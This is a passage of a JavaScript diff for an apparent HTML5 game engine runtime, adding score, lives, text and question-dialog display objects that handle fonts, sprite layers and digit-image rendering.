+ context.renderSolidColor(x, y, cx, cy, color1, this.ros.rsEffect, this.ros.rsEffectParam);
+ break;
+ case 2:
+ if ((adCta.odDisplayFlags & CDefCounters.BARFLAG_INVERSE) != 0)
+ {
+ dl = color1;
+ color1 = color2;
+ color2 = dl;
+ }
+ var bVertical = adCta.ocGradientFlags != 0;
+ context.renderGradient(x, y, cx, cy, color1, color2, bVertical, this.ros.rsEffect, this.ros.rsEffectParam);
+ break;
+ }
+ break;
+ case 1:
+ if (this.bFloat == false)
+ s = CServices.intToString(this.rsValue, this.displayFlags);
+ else
+ s = CServices.doubleToString(this.rsValue, this.displayFlags);
+ var i, img, ifo;
+ for (i = 0; i < s.length; i++)
+ {
+ var c = s.charCodeAt(i);
+ img = 0;
+ if (c == 45)
+ img = adCta.frames[10];
+ else if (c == 46 || c == 44)
+ img = adCta.frames[12];
+ else if (c == 43)
+ img = adCta.frames[11];
+ else if (c == 69 || c == 101)
+ img = adCta.frames[13];
+ else if (c >= 48 && c <= 57)
+ img = adCta.frames[c - 48];
+ ifo = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(img);
+ if (ifo != null)
+ {
+ context.renderImage(ifo, x + ifo.xSpot, y + ifo.ySpot, 0, 1.0, 1.0, this.ros.rsEffect, this.ros.rsEffectParam);
+ x += ifo.width;
+ }
+ }
+ break;
+ case 5:
+ this.textSurface.draw(context, x, y, this.ros.rsEffect, this.ros.rsEffectParam);
+ break;
+ }
+ },
+ setTransparency: function (t)
+ {
+ this.ros.rsEffect = CRSpr.BOP_BLEND;
+ this.ros.rsEffectParam = t;
+ }
+ });
+
+ // CScore object
+ // ------------------------------------------------------------
+ function CScore()
+ {
+ this.rsPlayer = 0;
+ this.rsValue = 0;
+ this.rsBoxCx = 0;
+ this.rsBoxCy = 0;
+ this.rsFont = 0;
+ this.rsColor1 = 0;
+ this.type = 0;
+ this.bShown = true;
+ this.nLayer = 0;
+ this.nIndex = 0;
+ this.plane = null;
+ this.displayFlags = 0;
+ this.pLayer = null;
+ this.bAddedToFrame = false;
+ this.fontHeight = 0;
+ this.alpha = 1.0;
+ this.composite = "source-over";
+ this.computed = false;
+ }
+
+ CScore.prototype = CServices.extend(new CObject(),
+ {
+ init: function (ocPtr, cob)
+ {
+ this.rsFont = -1;
+ this.rsColor1 = 0;
+ this.hoImgWidth = this.hoImgHeight = 1;
+
+ var adCta = this.hoCommon.ocCounters;
+ this.hoImgWidth = this.rsBoxCx = adCta.odCx;
+ this.hoImgHeight = this.rsBoxCy = adCta.odCy;
+ this.type = adCta.odDisplayType;
+ this.rsColor1 = adCta.ocColor1;
+ this.rsPlayer = adCta.odPlayer;
+ this.rsValue = this.hoAdRunHeader.rhApp.getScores()[this.rsPlayer - 1];
+ this.displayFlags = adCta.odDisplayFlags;
+
+ if (this.type == 5)
+ {
+ var nFont = this.rsFont;
+ if (nFont == -1)
+ nFont = adCta.odFont;
+ this.font = this.hoAdRunHeader.rhApp.fontBank.getFontFromHandle(nFont);
+ this.fontHeight = this.font.getHeight();
+ }
+ },
+
+ kill: function ()
+ {
+ },
+
+ handle: function ()
+ {
+ var value = this.hoAdRunHeader.rhApp.getScores()[this.rsPlayer - 1];
+ if (value != this.rsValue)
+ {
+ this.rsValue = value;
+ this.computeNewDisplay();
+ }
+ this.ros.handle();
+ if (this.roc.rcChanged)
+ {
+ this.roc.rcChanged = false;
+ }
+ },
+
+ getFont: function ()
+ {
+ var adCta = this.hoCommon.ocCounters;
+ if (adCta.odDisplayType == 5)
+ {
+ var nFont = this.rsFont;
+ if (nFont == -1)
+ nFont = adCta.odFont;
+ return this.hoAdRunHeader.rhApp.fontBank.getFontInfoFromHandle(nFont);
+ }
+ return null;
+ },
+
+ setFont: function (font, size)
+ {
+ if (type == 5)
+ {
+ this.rsFont = hoAdRunHeader.rhApp.fontBank.addFont(font);
+ var font = this.hoAdRunHeader.rhApp.fontBank.getFontFromHandle(this.rsFont);
+ this.fontHeight = font.getHeight();
+ if (size != null)
+ {
+ this.hoImgWidth = this.rsBoxCx = size.right - size.left;
+ this.hoImgHeight = this.rsBoxCy = size.bottom - size.top;
+ }
+ this.computeNewDisplay();
+ }
+ },
+
+ getFontColor: function ()
+ {
+ return this.rsColor1;
+ },
+
+ setFontColor: function (rgb)
+ {
+ this.rsColor1 = rgb;
+ this.computeNewDisplay();
+ },
+
+ addOwnerDrawSprite: function (xx, yy, layer, quickDisplay, shown, index)
+ {
+ if (this.hoCommon.ocCounters == null)
+ return;
+ if (this.bAddedToPlane == true)
+ return;
+
+ this.bAddedToPlane = true;
+ this.bShown = shown;
+
+ this.pLayer = this.hoAdRunHeader.rhFrame.layers[layer];
+ if (quickDisplay)
+ this.plane = this.pLayer.planeQuickDisplay;
+ else
+ this.plane = this.pLayer.planeSprites;
+
+ if (index < 0)
+ this.plane.addChild(this);
+ else
+ this.plane.addChildIndex(this, index);
+
+ if (this.type != 5)
+ this.computeNewDisplay();
+ },
+
+ delSprite: function ()
+ {
+ if (this.hoCommon.ocCounters == null)
+ return -1;
+ if (this.bAddedToPlane == false)
+ return -1;
+
+ this.bAddedToPlane = false;
+ var index = this.plane.getChildIndex(this);
+ this.plane.removeChild(this);
+ return index;
+ },
+
+ getChildIndex: function ()
+ {
+ if (this.bAddedToPlane)
+ {
+ return this.plane.getChildIndex(this);
+ }
+ return -1;
+ },
+
+ getChildMaxIndex: function ()
+ {
+ if (this.bAddedToPlane)
+ return this.plane.getNumChildren();
+ return -1;
+ },
+
+ setChildIndex: function (index)
+ {
+ if (this.bAddedToPlane)
+ this.plane.setChildIndex(this, index);
+ },
+
+ showSprite: function ()
+ {
+ if (this.hoCommon.ocCounters == null)
+ return;
+
+ if (this.bShown == false)
+ {
+ this.bShown = true;
+ this.computeNewDisplay();
+ }
+ },
+
+ hideSprite: function ()
+ {
+ if (this.hoCommon.ocCounters == null)
+ return;
+
+ if (this.bShown == true)
+ {
+ this.bShown = false;
+ }
+ },
+
+ setValue: function (value)
+ {
+ if (value != this.rsValue)
+ {
+ this.rsValue = value;
+ this.computeNewDisplay();
+ }
+ },
+
+ callComputeNewDisplay: function ()
+ {
+ if (!this.computed)
+ this.computeNewDisplay();
+ },
+
+ computeNewDisplay: function ()
+ {
+ this.computed = true;
+ this.hoImgWidth = this.hoImgHeight = 1;
+ if (this.hoCommon.ocCounters == null)
+ return;
+ var adCta = this.hoCommon.ocCounters;
+
+ var img;
+ var s = CServices.intToString(this.rsValue, this.displayFlags);
+ switch (adCta.odDisplayType)
+ {
+ case 1:
+ var i;
+ var c;
+ var img;
+ var ifo;
+ var dx = 0, dy = 0;
+
+ for (i = s.length - 1; i >= 0; i--)
+ {
+ c = s.charCodeAt(i);
+ img = 0;
+ if (c == 45)
+ img = adCta.frames[10];
+ else if (c == 46)
+ img = adCta.frames[12];
+ else if (c == 43)
+ img = adCta.frames[11];
+ else if (c == 101 || c == 69)
+ img = adCta.frames[13];
+ else if (c >= 48 && c <= 57)
+ img = adCta.frames[c - 48];
+ if (img >= 0)
+ {
+ ifo = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(img);
+ dx += ifo.width;
+ dy = Math.max(dy, ifo.height);
+ }
+ }
+ this.hoImgXSpot = dx;
+ this.hoImgYSpot = dy;
+ this.hoImgWidth = dx;
+ this.hoImgHeight = dy;
+ break;
+
+ case 5:
+ var w;
+ if (this.textSurface != null)
+ w = this.textSurface.measureText(s, this.font);
+ else
+ {
+ var ts = new CTextSurface(this.hoAdRunHeader.rhApp, 8, 8);
+ w = ts.measureText(s, this.font);
+ }
+ this.hoImgXSpot = w;
+ this.hoImgYSpot = this.rsBoxCy / 2 + this.fontHeight / 2;
+ this.hoImgWidth = w;
+ this.hoImgHeight = this.fontHeight;
+ if (this.textSurface == null)
+ this.textSurface = new CTextSurface(this.hoAdRunHeader.rhApp, this.hoImgWidth, this.hoImgHeight);
+ else
+ {
+ if (this.hoImgWidth > this.textSurface.width || this.hoImgHeight > this.textSurface.height)
+ this.textSurface.resize(this.hoImgWidth, this.hoImgHeight);
+ }
+ var rect = new CRect(0, 0, 1000, 1000);
+ this.textSurface.setText(s, CServices.DT_LEFT | CServices.DT_TOP, rect, this.font, this.rsColor1);
+ break;
+ }
+ },
+
+ draw: function (context, xx, yy)
+ {
+ if (!this.bShown || !this.computed) return;
+
+ this.globalAlpha = this.alpha;
+ this.globalCompositeOperation = this.composite;
+
+ var image;
+ var color1, color2;
+ var s;
+
+ var adCta = this.hoCommon.ocCounters;
+ var x = xx + this.hoX - this.hoImgXSpot - this.hoAdRunHeader.rhWindowX + this.pLayer.x;
+ var y = yy + this.hoY - this.hoImgYSpot - this.hoAdRunHeader.rhWindowY + this.pLayer.y;
+ s = CServices.intToString(this.rsValue, this.displayFlags);
+ switch (this.type)
+ {
+ case 1:
+ var i, img, ifo;
+ for (i = 0; i < s.length; i++)
+ {
+ var c = s.charCodeAt(i);
+ img = 0;
+ if (c == 45)
+ img = adCta.frames[10];
+ else if (c == 46 || c == 44)
+ img = adCta.frames[12];
+ else if (c == 43)
+ img = adCta.frames[11];
+ else if (c == 69 || c == 101)
+ img = adCta.frames[13];
+ else if (c >= 48 && c <= 57)
+ img = adCta.frames[c - 48];
+ ifo = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(img);
+ context.renderImage(ifo, x + ifo.xSpot, y + ifo.ySpot, 0, 1.0, 1.0, this.ros.rsEffect, this.ros.rsEffectParam);
+ x += ifo.width;
+ }
+ break;
+ case 5:
+ this.textSurface.draw(context, x, y, this.ros.rsEffect, this.ros.rsEffectParam);
+ break;
+ }
+ },
+ setTransparency: function (t)
+ {
+ this.ros.rsEffect = CRSpr.BOP_BLEND;
+ this.ros.rsEffectParam = t;
+ }
+ });
+
+ // CLives object
+ // ------------------------------------------------------------
+ function CLives()
+ {
+ this.rsPlayer = 0;
+ this.rsValue = 0;
+ this.rsBoxCx = 0;
+ this.rsBoxCy = 0;
+ this.rsFont = 0;
+ this.rsColor1 = 0;
+ this.type = 0;
+ this.bShown = true;
+ this.nLayer = 0;
+ this.nIndex = 0;
+ this.plane = null;
+ this.displayFlags = 0;
+ this.pLayer = null;
+ this.bAddedToFrame = false;
+ this.fontHeight = 0;
+ this.alpha = 1.0;
+ this.composite = "source-over";
+ this.computed = false;
+ }
+
+ CLives.prototype = CServices.extend(new CObject(),
+ {
+ init: function (ocPtr, cob)
+ {
+ this.rsFont = -1;
+ this.rsColor1 = 0;
+ this.hoImgWidth = this.hoImgHeight = 1;
+
+ var adCta = this.hoCommon.ocCounters;
+ this.hoImgWidth = this.rsBoxCx = adCta.odCx;
+ this.hoImgHeight = this.rsBoxCy = adCta.odCy;
+ this.type = adCta.odDisplayType;
+ this.rsColor1 = adCta.ocColor1;
+ this.rsPlayer = adCta.odPlayer;
+ this.rsValue = this.hoAdRunHeader.rhApp.getLives()[this.rsPlayer - 1];
+ this.displayFlags = adCta.odDisplayFlags;
+
+ if (this.type == 5)
+ {
+ var nFont = this.rsFont;
+ if (nFont == -1)
+ nFont = adCta.odFont;
+ this.font = this.hoAdRunHeader.rhApp.fontBank.getFontFromHandle(nFont);
+ this.fontHeight = this.font.getHeight();
+ }
+ },
+
+ kill: function ()
+ {
+ },
+
+ handle: function ()
+ {
+ var value = this.hoAdRunHeader.rhApp.getLives()[this.rsPlayer - 1];
+ if (value != this.rsValue)
+ {
+ this.rsValue = value;
+ this.computeNewDisplay();
+ }
+ this.ros.handle();
+ if (this.roc.rcChanged)
+ {
+ this.roc.rcChanged = false;
+ }
+ },
+
+ getFont: function ()
+ {
+ var adCta = this.hoCommon.ocCounters;
+ if (adCta.odDisplayType == 5)
+ {
+ var nFont = this.rsFont;
+ if (nFont == -1)
+ nFont = adCta.odFont;
+ return this.hoAdRunHeader.rhApp.fontBank.getFontInfoFromHandle(nFont);
+ }
+ return null;
+ },
+
+ setFont: function (font, size)
+ {
+ if (type == 5)
+ {
+ this.rsFont = hoAdRunHeader.rhApp.fontBank.addFont(font);
+ var font = this.hoAdRunHeader.rhApp.fontBank.getFontFromHandle(this.rsFont);
+ this.fontHeight = font.getHeight();
+ if (size != null)
+ {
+ this.hoImgWidth = this.rsBoxCx = size.right - size.left;
+ this.hoImgHeight = this.rsBoxCy = size.bottom - size.top;
+ }
+ this.computeNewDisplay();
+ }
+ },
+
+ getFontColor: function ()
+ {
+ return this.rsColor1;
+ },
+
+ setFontColor: function (rgb)
+ {
+ this.rsColor1 = rgb;
+ this.computeNewDisplay();
+ },
+
+ addOwnerDrawSprite: function (xx, yy, layer, quickDisplay, shown, index)
+ {
+ if (this.hoCommon.ocCounters == null)
+ return;
+ if (this.bAddedToPlane == true)
+ return;
+
+ this.bAddedToPlane = true;
+ this.bShown = shown;
+
+ this.pLayer = this.hoAdRunHeader.rhFrame.layers[layer];
+ if (quickDisplay)
+ this.plane = this.pLayer.planeQuickDisplay;
+ else
+ this.plane = this.pLayer.planeSprites;
+
+ if (index < 0)
+ this.plane.addChild(this);
+ else
+ this.plane.addChildIndex(this, index);
+
+ if (this.type != 5)
+ this.computeNewDisplay();
+ },
+
+ delSprite: function ()
+ {
+ if (this.hoCommon.ocCounters == null)
+ return -1;
+ if (this.bAddedToPlane == false)
+ return -1;
+
+ this.bAddedToPlane = false;
+ var index = this.plane.getChildIndex(this);
+ this.plane.removeChild(this);
+ return index;
+ },
+
+ getChildIndex: function ()
+ {
+ if (this.bAddedToPlane)
+ {
+ return this.plane.getChildIndex(this);
+ }
+ return -1;
+ },
+
+ getChildMaxIndex: function ()
+ {
+ if (this.bAddedToPlane)
+ return this.plane.getNumChildren();
+ return -1;
+ },
+
+ setChildIndex: function (index)
+ {
+ if (this.bAddedToPlane)
+ this.plane.setChildIndex(this, index);
+ },
+
+ showSprite: function ()
+ {
+ if (this.hoCommon.ocCounters == null)
+ return;
+
+ if (this.bShown == false)
+ {
+ this.bShown = true;
+ this.computeNewDisplay();
+ }
+ },
+
+ hideSprite: function ()
+ {
+ if (this.hoCommon.ocCounters == null)
+ return;
+
+ if (this.bShown == true)
+ {
+ this.bShown = false;
+ }
+ },
+
+ setValue: function (value)
+ {
+ if (value != this.rsValue)
+ {
+ this.rsValue = value;
+ this.computeNewDisplay();
+ }
+ },
+
+ callComputeNewDisplay: function ()
+ {
+ if (!this.computed)
+ this.computeNewDisplay();
+ },
+
+ computeNewDisplay: function ()
+ {
+ this.computed = true;
+ this.hoImgWidth = this.hoImgHeight = 1;
+ if (this.hoCommon.ocCounters == null)
+ return;
+ var adCta = this.hoCommon.ocCounters;
+
+ switch (adCta.odDisplayType)
+ {
+ case 4:
+ if (this.rsValue != 0)
+ {
+ ifo = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(adCta.frames[0]);
+ var lg = this.rsValue * ifo.width;
+ if (lg <= this.rsBoxCx)
+ {
+ this.hoImgWidth = lg;
+ this.hoImgHeight = ifo.height;
+ }
+ else
+ {
+ this.hoImgWidth = this.rsBoxCx;
+ this.hoImgHeight = ((this.rsBoxCx / ifo.width) + this.rsValue - 1) * ifo.height;
+ }
+ break;
+ }
+ this.hoImgWidth = this.hoImgHeight = 1;
+ break;
+ case 1:
+ var i;
+ var c;
+ var img;
+ var ifo;
+ var dx = 0, dy = 0;
+ var s = CServices.intToString(this.rsValue, this.displayFlags);
+ for (i = s.length - 1; i >= 0; i--)
+ {
+ c = s.charCodeAt(i);
+ img = 0;
+ if (c == 45)
+ img = adCta.frames[10];
+ else if (c == 46)
+ img = adCta.frames[12];
+ else if (c == 43)
+ img = adCta.frames[11];
+ else if (c == 101 || c == 69)
+ img = adCta.frames[13];
+ else if (c >= 48 && c <= 57)
+ img = adCta.frames[c - 48];
+ if (img >= 0)
+ {
+ ifo = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(img);
+ dx += ifo.width;
+ dy = Math.max(dy, ifo.height);
+ }
+ }
+ this.hoImgXSpot = dx;
+ this.hoImgYSpot = dy;
+ this.hoImgWidth = dx;
+ this.hoImgHeight = dy;
+ break;
+
+ case 5:
+ var s = CServices.intToString(this.rsValue, this.displayFlags);
+ var w;
+ if (this.textSurface != null)
+ w = this.textSurface.measureText(s, this.font);
+ else
+ {
+ var ts = new CTextSurface(this.hoAdRunHeader.rhApp, 8, 8);
+ w = ts.measureText(s, this.font);
+ }
+ this.hoImgXSpot = w;
+ this.hoImgYSpot = this.rsBoxCy / 2 + this.fontHeight / 2;
+ this.hoImgWidth = w;
+ this.hoImgHeight = this.fontHeight;
+ if (this.textSurface == null)
+ this.textSurface = new CTextSurface(this.hoAdRunHeader.rhApp, this.hoImgWidth, this.hoImgHeight);
+ else
+ {
+ if (this.hoImgWidth > this.textSurface.width || this.hoImgHeight > this.textSurface.height)
+ this.textSurface.resize(this.hoImgWidth, this.hoImgHeight);
+ }
+ var rect = new CRect(0, 0, 1000, 1000);
+ this.textSurface.setText(s, CServices.DT_LEFT | CServices.DT_TOP, rect, this.font, this.rsColor1);
+ break;
+ }
+ },
+
+ draw: function (context, xx, yy)
+ {
+ if (!this.bShown || !this.computed) return;
+
+ this.globalAlpha = this.alpha;
+ this.globalCompositeOperation = this.composite;
+
+ var image;
+ var color1, color2;
+ var s;
+
+ var adCta = this.hoCommon.ocCounters;
+ var x = xx + this.hoX - this.hoImgXSpot - this.hoAdRunHeader.rhWindowX + this.pLayer.x;
+ var y = yy + this.hoY - this.hoImgYSpot - this.hoAdRunHeader.rhWindowY + this.pLayer.y;
+ switch (this.type)
+ {
+ case 1:
+ var i, img, ifo;
+ s = CServices.intToString(this.rsValue, this.displayFlags);
+ for (i = 0; i < s.length; i++)
+ {
+ var c = s.charCodeAt(i);
+ img = 0;
+ if (c == 45)
+ img = adCta.frames[10];
+ else if (c == 46 || c == 44)
+ img = adCta.frames[12];
+ else if (c == 43)
+ img = adCta.frames[11];
+ else if (c == 69 || c == 101)
+ img = adCta.frames[13];
+ else if (c >= 48 && c <= 57)
+ img = adCta.frames[c - 48];
+ ifo = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(img);
+ context.renderImage(ifo, x + ifo.xSpot, y + ifo.ySpot, 0, 1.0, 1.0, this.ros.rsEffect, this.ros.rsEffectParam);
+ x += ifo.width;
+ }
+ break;
+ case 4:
+ if (this.rsValue != 0)
+ {
+ var x2 = x + this.hoImgWidth;
+ var y2 = y + this.hoImgHeight;
+ var x1 = x;
+ var y1 = y;
+ var vInt = this.rsValue;
+ var ifo = this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(adCta.frames[0]);
+ for (y = y1; y < y2 && vInt > 0; y += ifo.height)
+ {
+ for (x = x1; x < x2 && vInt > 0; x += ifo.width, vInt -= 1)
+ {
+ context.renderImage(ifo, x + ifo.xSpot, y + ifo.ySpot, 0, 1.0, 1.0, this.ros.rsEffect, this.ros.rsEffectParam);
+ }
+ }
+ }
+ break;
+ case 5:
+ this.textSurface.draw(context, x, y, this.ros.rsEffect, this.ros.rsEffectParam);
+ break;
+ }
+ },
+ setTransparency: function (t)
+ {
+ this.ros.rsEffect = CRSpr.BOP_BLEND;
+ this.ros.rsEffectParam = t;
+ }
+ });
+
+ // CText object
+ // ------------------------------------------------------------
+ function CText()
+ {
+ this.rsTextBuffer = null;
+ this.currentText = null;
+ this.rsMaxi = 0;
+ this.rsMini = 0;
+ this.rsFont = 0;
+ this.rsTextColor = 0;
+ this.nLayer = 0;
+ this.font = null;
+ this.bShown = true;
+ this.flags = 0;
+ this.rsHidden = 0;
+ this.pLayer = null;
+ this.plane = null;
+ this.bAddedToPlane = false;
+ this.rect = new CRect();
+ this.deltaY = 0;
+ this.rsBoxCx = 0;
+ this.rsBoxCy = 0;
+ this.textSurface = null;
+ this.computed = false;
+ }
+
+ CText.prototype = CServices.extend(new CObject(),
+ {
+ init: function (ocPtr, cob)
+ {
+ var txt = ocPtr.ocObject;
+ this.hoImgWidth = txt.otCx;
+ this.hoImgHeight = txt.otCy;
+ this.rsBoxCx = txt.otCx;
+ this.rsBoxCy = txt.otCy;
+
+ this.rsMaxi = txt.otNumberOfText;
+ this.rsTextColor = 0;
+ if (txt.otTexts.length > 0)
+ this.rsTextColor = txt.otTexts[0].tsColor;
+
+ this.rsTextBuffer = null;
+ this.rsFont = -1;
+ this.rsMini = 0;
+ this.bShown = true;
+ this.rsHidden = cob.cobFlags;
+ if ((cob.cobFlags & CRun.COF_FIRSTTEXT) != 0)
+ {
+ if (txt.otTexts.length > 0)
+ {
+ this.rsTextBuffer = txt.otTexts[0].tsText;
+ }
+ }
+ var nFont = this.rsFont;
+ if (nFont == -1)
+ {
+ if (txt.otTexts.length > 0)
+ nFont = txt.otTexts[0].tsFont;
+ }
+ this.font = this.hoAdRunHeader.rhApp.fontBank.getFontFromHandle(nFont);
+ this.textSurface = new CTextSurface(this.hoAdRunHeader.rhApp, this.hoImgWidth, this.hoImgHeight);
+ },
+
+ kill: function ()
+ {
+ },
+
+ handle: function ()
+ {
+ this.ros.handle();
+ if (this.roc.rcChanged)
+ {
+ this.roc.rcChanged = false;
+ }
+ },
+
+ getFont: function ()
+ {
+ var nFont = this.rsFont;
+ if (nFont == -1)
+ {
+ var txt = this.hoCommon.ocObject;
+ nFont = txt.otTexts[0].tsFont;
+ }
+ return this.hoAdRunHeader.rhApp.fontBank.getFontInfoFromHandle(nFont);
+ },
+
+ setFont: function (f, size)
+ {
+ this.rsFont = this.hoAdRunHeader.rhApp.fontBank.addFont(f);
+ this.font = this.hoAdRunHeader.rhApp.fontBank.getFontFromHandle(this.rsFont);
+ if (size != null)
+ {
+ this.hoImgWidth = size.right - size.left;
+ this.hoImgHeight = size.bottom - size.top;
+ this.textSurface.resize(this.hoImgWidth, this.hoImgHeight);
+ }
+ this.roc.rcChanged = true;
+ this.computeNewDisplay();
+ },
+
+ getFontColor: function ()
+ {
+ return this.rsTextColor;
+ },
+
+ setFontColor: function (rgb)
+ {
+ this.rsTextColor = rgb;
+ this.computeNewDisplay();
+ },
+
+ addOwnerDrawSprite: function (xx, yy, layer, quickDisplay, shown, index)
+ {
+ if (this.bAddedToPlane == true)
+ return;
+
+ this.bAddedToPlane = true;
+ this.bShown = shown;
+
+ this.pLayer = this.hoAdRunHeader.rhFrame.layers[layer];
+ if (quickDisplay)
+ this.plane = this.pLayer.planeQuickDisplay;
+ else
+ this.plane = this.pLayer.planeSprites;
+
+ if (index < 0)
+ this.plane.addChild(this);
+ else
+ this.plane.addChildIndex(this, index);
+ },
+
+ delSprite: function ()
+ {
+ if (this.bAddedToPlane == false)
+ return -1;
+
+ this.bAddedToPlane = false;
+ var index = this.plane.getChildIndex(this);
+ this.plane.removeChild(this);
+ return index;
+ },
+
+ getChildIndex: function ()
+ {
+ if (this.bAddedToPlane)
+ {
+ return this.plane.getChildIndex(this);
+ }
+ return -1;
+ },
+
+ getChildMaxIndex: function ()
+ {
+ if (this.bAddedToPlane)
+ return this.plane.getNumChildren();
+ return -1;
+ },
+
+ setChildIndex: function (index)
+ {
+ if (this.bAddedToPlane)
+ this.plane.setChildIndex(this, index);
+ },
+
+ showSprite: function ()
+ {
+ if (this.bShown == false)
+ {
+ this.bShown = true;
+ }
+ },
+
+ hideSprite: function ()
+ {
+ if (this.bShown == true)
+ {
+ this.bShown = false;
+ }
+ },
+
+ txtChange: function (num)
+ {
+ if (num < -1)
+ num = -1;
+ if (num >= this.rsMaxi)
+ num = this.rsMaxi - 1;
+ if (num == this.rsMini)
+ return false;
+
+ this.rsMini = num;
+
+ if (num >= 0)
+ {
+ var txt = this.hoCommon.ocObject;
+ this.txtSetString(txt.otTexts[this.rsMini].tsText);
+ }
+ this.computeNewDisplay();
+
+ if ((this.ros.rsFlags & CRSpr.RSFLAG_HIDDEN) != 0)
+ return false;
+
+ return true;
+ },
+
+ txtSetString: function (s)
+ {
+ this.rsTextBuffer = s;
+ this.computeNewDisplay();
+ },
+
+ callComputeNewDisplay: function ()
+ {
+ if (!this.computed)
+ this.computeNewDisplay();
+ },
+
+ computeNewDisplay: function ()
+ {
+ this.computed = true;
+
+ var txt = this.hoCommon.ocObject;
+ var flags = txt.otTexts[0].tsFlags;
+
+ this.hoImgXSpot = 0;
+ this.hoImgYSpot = 0;
+ this.rect.left = 0;
+ this.rect.top = 0;
+ this.rect.right = this.hoImgWidth;
+ this.rect.bottom = this.hoImgHeight;
+
+ var s;
+ if (this.rsMini >= 0)
+ s = txt.otTexts[this.rsMini].tsText;
+ else
+ {
+ s = this.rsTextBuffer;
+ if (s == null)
+ s = "";
+ }
+
+ var dtflags = (flags & (CServices.DT_LEFT | CServices.DT_CENTER | CServices.DT_RIGHT |
+ CServices.DT_TOP | CServices.DT_BOTTOM | CServices.DT_VCENTER |
+ CServices.DT_SINGLELINE));
+ var ht = this.textSurface.setText(s, dtflags, this.rect, this.font, this.rsTextColor);
+ if ((dtflags & (CServices.DT_BOTTOM | CServices.DT_VCENTER)) == 0)
+ this.hoImgHeight = ht;
+ },
+ setTransparency: function (t)
+ {
+ this.ros.rsEffect = CRSpr.BOP_BLEND;
+ this.ros.rsEffectParam = t;
+ },
+ draw: function (context, xx, yy)
+ {
+ if (!this.bShown || !this.computed) return;
+ var x = xx + this.hoX - this.hoAdRunHeader.rhWindowX + this.pLayer.x;
+ var y = yy + this.hoY - this.hoAdRunHeader.rhWindowY + this.pLayer.y;
+ this.textSurface.draw(context, x, y, this.ros.rsEffect, this.ros.rsEffectParam);
+ }
+ });
+
+ // CQuestion object
+ // -------------------------------------------------------------
+ function CQuestion()
+ {
+ this.rsBoxCx = 0;
+ this.rsBoxCy = 0;
+ this.rcA = null;
+ this.currentDown = 0;
+ this.xMouse = 0;
+ this.yMouse = 0;
+ this.textSurfaces = new Array();
+ }
+ CQuestion.prototype = CServices.extend(new CObject(),
+ {
+ init: function (ocPtr, cob)
+ {
+ },
+
+ kill: function ()
+ {
+ },
+
+ handle: function ()
+ {
+ this.hoAdRunHeader.pause();
+ this.hoAdRunHeader.questionObjectOn = this;
+ var layer = this.hoAdRunHeader.rhFrame.layers[this.hoAdRunHeader.rhFrame.nLayers - 1];
+ layer.planeSprites.addChild(this);
+ this.computeTexts();
+ },
+ destroyObject: function ()
+ {
+ var layer = this.hoAdRunHeader.rhFrame.layers[this.hoAdRunHeader.rhFrame.nLayers - 1];
+ layer.planeSprites.removeChild(this);
+ },
+ handleQuestion: function ()
+ {
+ var current;
+ var xMouse = this.hoAdRunHeader.rhApp.mouseX - this.hoAdRunHeader.rhApp.xOffset;
+ var yMouse = this.hoAdRunHeader.rhApp.mouseY - this.hoAdRunHeader.rhApp.yOffset;
+
+ if (this.currentDown == 0)
+ {
+ if (this.hoAdRunHeader.rhApp.keyBuffer[CRunApp.VK_LBUTTON])
+ {
+ current = this.getQuestion(xMouse, yMouse);
+ if (current != 0)
+ {
+ this.currentDown = current;
+ }
+ }
+ }
+ else
+ {
+ if (!this.hoAdRunHeader.rhApp.keyBuffer[CRunApp.VK_LBUTTON])
+ {
+ if (this.getQuestion(xMouse, yMouse) == this.currentDown)
+ {
+ this.hoAdRunHeader.rhEvtProg.rhCurParam0 = this.currentDown;
+ this.hoAdRunHeader.rhEvtProg.handle_Event(this, (((-80 - 3) << 16) | 4));
+
+ var defTexts = this.hoCommon.ocObject;
+ var ptts = defTexts.otTexts[this.currentDown];
+ var bCorrect = (ptts.tsFlags & CDefText.TSF_CORRECT) != 0;
+ if (bCorrect)
+ {
+ this.hoAdRunHeader.rhEvtProg.handle_Event(this, (((-80 - 1) << 16) | 4));
+ }
+ else
+ {
+ this.hoAdRunHeader.rhEvtProg.handle_Event(this, (((-80 - 2) << 16) | 4));
+ }
+ this.destroyObject();
+ this.hoAdRunHeader.questionObjectOn = null;
+ this.hoAdRunHeader.resume();
+ this.hoAdRunHeader.f_KillObject(this.hoNumber, true);
+ return;
+ }
+ this.currentDown = 0;
+ }
+ }
+ },
+
+ getQuestion: function (xMouse, yMouse)
+ {
+ var i;
+ if (this.rcA != null)
+ {
+ for (i = 1; i < this.rcA.length; i++)
+ {
+ if (xMouse >= this.rcA[i].left && xMouse < this.rcA[i].right)
+ {
+ if (yMouse > this.rcA[i].top && yMouse < this.rcA[i].bottom)
+ {
+ return i;
+ }
+ }
+ }
+ }
+ return 0;
+ },
+
+ border3D: function (context, rc, state)
+ {
+ var color1, color2;
+
+ if (state)
+ {
+ color1 = 0x808080;
+ color2 = 0xFFFFFF;
+ }
+ else
+ {
+ color2 = 0x808080;
+ color1 = 0xFFFFFF;
+ }
+
+ context.renderRect(rc.left, rc.top, rc.right - rc.left,
+ rc.bottom - rc.top, 0x000000, 1);
+
+ var pt = new Array(3);
+ var n;
+ for (n = 0; n < 3; n++)
+ {
+ pt[n] = new CPoint();
+ }
+ pt[0].x = rc.right - 1;
+ if (state == false)
+ pt[0].x -= 1;
+ pt[0].y = rc.top + 1;
+ pt[1].y = rc.top + 1;
+ pt[1].x = rc.left + 1;
+ pt[2].x = rc.left + 1;
+ pt[2].y = rc.bottom;
+ if (state == false)
+ pt[2].y -= 1;
+ context.renderLine(pt[0].x, pt[0].y, pt[1].x, pt[1].y, color1, 1);
+ context.renderLine(pt[1].x, pt[1].y, pt[2].x, pt[2].y, color1, 1);
+
+ if (state == false)
+ pt[0].x -= 1;
+ pt[0].y += 1;
+ pt[1].x += 1;
+ pt[1].y += 1;
+ pt[2].x += 1;
+ if (state == false)
+ pt[2].y -= 1;
+ context.renderLine(pt[0].x, pt[0].y, pt[1].x, pt[1].y, color1, 1);
+ context.renderLine(pt[1].x, pt[1].y, pt[2].x, pt[2].y, color1, 1);
+
+ if (state == false)
+ {
+ pt[0].x += 2;
+ pt[1].x = rc.right - 1;
+ pt[1].y = rc.bottom - 1;
+ pt[2].y = rc.bottom - 1;
